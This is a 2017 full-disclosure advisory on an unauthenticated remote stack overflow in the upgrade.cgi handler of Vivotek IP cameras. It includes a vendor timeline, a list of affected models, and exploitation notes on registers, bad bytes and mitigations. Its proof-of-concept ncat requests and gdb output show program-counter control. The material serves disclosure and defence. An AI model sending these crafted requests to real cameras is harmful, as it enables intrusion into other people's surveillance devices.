[STX]

Subject: Vivotek IP Cameras - Remote Stack Overflow
Researcher: bashis <mcw noemail eu> (September-October 2017)
PoC: https://github.com/mcw0/PoC
Release date: November 13, 2017
Full Disclosure: 43 days

Attack Vector: Remote
Authentication: Anonymous (no credentials needed)
Firmware Vulnerable: Only 2017 versions affected
Firmware Patched: October 2017 and higher

Device Model:
CC8160, CC8370, CC8371, CD8371, FD8166A, FD8166A, FD8166A-N, FD8167A, FD8167A, FD8167AS,
FD8167AS, FD8169A, FD8169A, FD8169A, FD8169AS, FD8169AS, FD816B, FD816B, FD816BA, FD816BA,
FD816C, FD816C, FD816CA, FD816CA, FD816D, FD8177, FD8179, FD8182, FD8182, FD8182-F1,
FD8365A_v2, FD8367A, FD8367A, FD8369A, FD8369A, FD836B, FD836BA, FD836D, FD8377, FD8379,
FD8382, FD9171, FD9181, FD9371, FD9381, FE8174_v2, FE8181_v2, FE8182, FE8374_v2, FE8381_v2,
FE9181, FE9182, FE9381, FE9382, IB8367A, IB8369A, IB836B, IB836BA, IB836D, IB8377,
IB8379, IB8382, IB9371, IB9381, IP8166, IP9171, IP9181, IZ9361, MD8563, MD8564,
MD8565, SD9161, SD9361, SD9362, SD9363, SD9364, SD9365, SD9366, VC8101... and possible more

Download Updated Firmware: https://www.vivotek.com/firmware/


[Timeline]

October 1, 2017: Reported findings with all details to Vivotek Cybersecurity
October 2, 2017: First response from Vivotek
October 5, 2017: ACK of findings from Vivotek
October 11, 2017: Vivotek reported first fixed Firmware
October 12, 2017: After request, Vivotek provided samples of fixed Firmware
October 17, 2017: Verified fixed Firmware, Vivotek thanking for the help
October 30, 2017: Noticed new Firmware released, pinged to get some info about their advisory
November 1, 2017: Agreed on publication November 13, 2017
November 9, 2017: Checked few release notes, none mention security fix; pinged Vivotek with the question why not.
November 13, 2017: No reply from Vivotek, Full Disclosure as planned.


[Details]

Vivotek using modified version of Boa/0.94.14rc21, and the vulnerability has been introduced by Vivotek.

The stack overflow is triggered by "PUT" or "POST" request:

[PUT|POST] /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n

However,
the absolutely minimal request to trigger the stack overflow is weird, most probably due to quick hack:
"[PUT|POST]Content-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"

This allows us to insert [JUNK] with 'Good bytes' up to 9182 bytes (0x1FFF) of the request:
"[PUT|POST][JUNK]Content-Length[JUNK]:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"


Notes:
1. B to I = $R4-$R11; X = $PC
2. Size of request availible in $R3 at the LDMFD
3. Max request size: 9182 bytes (0x1FFF)
4. "Start with "\n" in "\n\r\n\r\n" needed to jump with 0x00xxxxxx (if not $PC will be 0x0dxxxxxx)
5. Space (0x20) after ':' in 'Content-Length:' counting as one char of the 20 bytes
6. Stack not protected with "Stack canaries"
7. Good bytes: 0x01-0x09, 0x0b-0xff; Bad bytes: 0x00, 0x0a;
8. heap: Non-executable + Non-ASLR
9. stack: Non-executable + ASLR


[PoC]

$ echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | ncat -v 192.168.57.20 80

(gdb) target remote 192.168.57.20:23946
Remote debugging using 192.168.57.20:23946
0x76eb2c5c in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) bt
#0  0x58585858 in ?? ()
#1  0x000188f4 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) i reg
r0             0x1  1
r1             0x47210  291344
r2             0x0  0
r3             0x75  117
r4             0x42424242  1111638594
r5             0x43434343  1128481603
r6             0x44444444  1145324612
r7             0x45454545  1162167621
r8             0x46464646  1179010630
r9             0x47474747  1195853639
r10            0x48484848  1212696648
r11            0x49494949  1229539657
r12            0x1  1
sp             0x7e92dac0  0x7e92dac0
lr             0x188f4  100596
pc             0x58585858  0x58585858
cpsr           0x60000010  1610612752
(gdb)


$ echo -en "PUTContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80

(gdb) target remote 192.168.57.20:23946
Remote debugging using 192.168.57.20:23946
0x76e82c5c in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) bt
#0  0x58585858 in ?? ()
#1  0x000188f4 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) i reg
r0             0x1  1
r1             0x47210  291344
r2             0x0  0
r3             0x4f  79
r4             0x42424242  1111638594
r5             0x43434343  1128481603
r6             0x44444444  1145324612
r7             0x45454545  1162167621
r8             0x46464646  1179010630
r9             0x47474747  1195853639
r10            0x48484848  1212696648
r11            0x49494949  1229539657
r12            0x1  1
sp             0x7ec9cac0  0x7ec9cac0
lr             0x188f4  100596
pc             0x58585858  0x58585858
cpsr           0x60000010  1610612752
(gdb)

Have a nice day
/bashis

[ETX]